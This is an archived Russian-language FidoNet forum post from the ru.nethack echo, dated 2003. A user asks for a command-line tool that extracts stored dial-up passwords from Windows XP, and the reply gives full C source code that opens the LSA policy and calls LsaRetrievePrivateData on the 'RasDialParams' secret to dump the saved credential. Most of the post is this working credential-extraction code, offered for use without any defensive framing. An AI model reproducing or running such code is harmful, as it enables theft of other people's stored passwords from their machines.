|
ru.nethack- RU.NETHACK ------------------------------------------------------------------- From : Lev Fireworker 2:5020/400 03 May 2003 13:37:12 To : Alexey Chernish Subject : Re: dialupass -------------------------------------------------------------------------------- Alexey Chernish пишет: > хорошая прога dialupass - вытаскивает все диалапные пароли из-под WinXP > но недостаток у нее - наличие интерфейса. вот бы найти схожую программу, но > комманд-лайновую, чтобы можно было перенаправить вывод в файл. У меня нет ХР и возможности потестить на ней, так что самому интересно работают ли там LSAdump LSAexplorer. > может быть у > кого-то есть исходники, или кто-то знает, где их взять? #include <windows.h> #include <Ntsecapi.h> #include <stdio.h> void hexprint(char *buf, int size) { for (int i=0;i<size;i+=16) { int j=0; while((i+j<size)&&(j<16)) { int z=(unsigned char)buf[i+j]; printf("%02X ",z); j++; if (j==8) printf(" "); } for (j=j;j<18;j++) printf(" "); j=0; while((i+j<size)&&(j<16)) { if ((unsigned char)buf[i+j]>=' ') printf("%c",buf[i+j]); else printf("."); j++; if (j==8) printf(" "); } printf("\n"); } printf("\n"); } extern "C" __declspec(dllimport) VOID __stdcall RtlInitUnicodeString( PUNICODE_STRING DestinationString, PCWSTR SourceString ); extern "C" __declspec(dllimport) VOID __stdcall RtlConvertSidToUnicodeString( PUNICODE_STRING usSID, SID *sid, DWORD unkown); #define TARGET_SYSTEM_NAME L"mysystem" LSA_HANDLE GetPolicyHandle() { LSA_OBJECT_ATTRIBUTES ObjectAttributes; WCHAR SystemName[] = TARGET_SYSTEM_NAME; LSA_UNICODE_STRING lusSystemName; NTSTATUS ntsResult; LSA_HANDLE lsahPolicyHandle; // Object attributes are reserved, so initialize to zeroes. ZeroMemory(&ObjectAttributes, sizeof(ObjectAttributes)); //Initialize an LSA_UNICODE_STRING to the server name. /*SystemNameLength = 0;//wcslen(SystemName); lusSystemName.Buffer = NULL;//SystemName; lusSystemName.Length = SystemNameLength * sizeof(WCHAR); lusSystemName.MaximumLength= (SystemNameLength+1) * sizeof(WCHAR);*/ RtlInitUnicodeString(&lusSystemName,NULL/*TARGET_SYSTEM_NAME*/); // Get a handle to the Policy object. ntsResult = LsaOpenPolicy( &lusSystemName, //Name of the target system. &ObjectAttributes, POLICY_ALL_ACCESS, //Desired access permissions. &lsahPolicyHandle //Receives the policy handle. ); if (ntsResult) { // An error occurred. Display it as a win32 error code. wprintf(L"OpenPolicy returned %lu\n", LsaNtStatusToWinError(ntsResult)); return NULL; } return lsahPolicyHandle; } int main(int argc, char* argv[]) { char *lpSystemName = NULL; LSA_HANDLE hPolicy = GetPolicyHandle(); LSA_UNICODE_STRING *Data; LSA_UNICODE_STRING KeyName; WCHAR Template[]=L"RasDialParams!%s#%d"; char AccountName[1024]; DWORD sAccountName=sizeof(AccountName); GetUserName(AccountName,&sAccountName); union { SID s; char c[1024]; } sid; DWORD ssid = sizeof(sid); char DomainName[1024]; DWORD sDomainName = sizeof(DomainName); SID_NAME_USE peUse; if (!LookupAccountName(lpSystemName,AccountName,(SID*)&sid.c,&ssid,(char*)&DomainNa me,&sDomainName,&peUse)) printf("LookupAccountName error %d\n",GetLastError()); WCHAR wcSIDbuf[100]; UNICODE_STRING wcSID = {sizeof(wcSIDbuf),sizeof(wcSIDbuf),wcSIDbuf}; RtlConvertSidToUnicodeString(&wcSID,&sid.s,0); wprintf(L"%s\n",wcSIDbuf); WCHAR KeyNameW[1024]; swprintf(KeyNameW,Template,wcSIDbuf,0); wprintf(L"%s\n",KeyNameW); RtlInitUnicodeString(&KeyName,KeyNameW); LsaRetrievePrivateData(hPolicy,&KeyName,&Data); if (Data) //wprintf(L"%s\n",Data->Buffer); hexprint((char*)Data->Buffer,Data->Length); return 0; } --- ifmail v.2.15dev5 * Origin: [The N0b0D1eS] (2:5020/400) Вернуться к списку тем, сортированных по: возрастание даты уменьшение даты тема автор
Архивное /ru.nethack/2778de09d76b.html, оценка из 5, голосов 10
|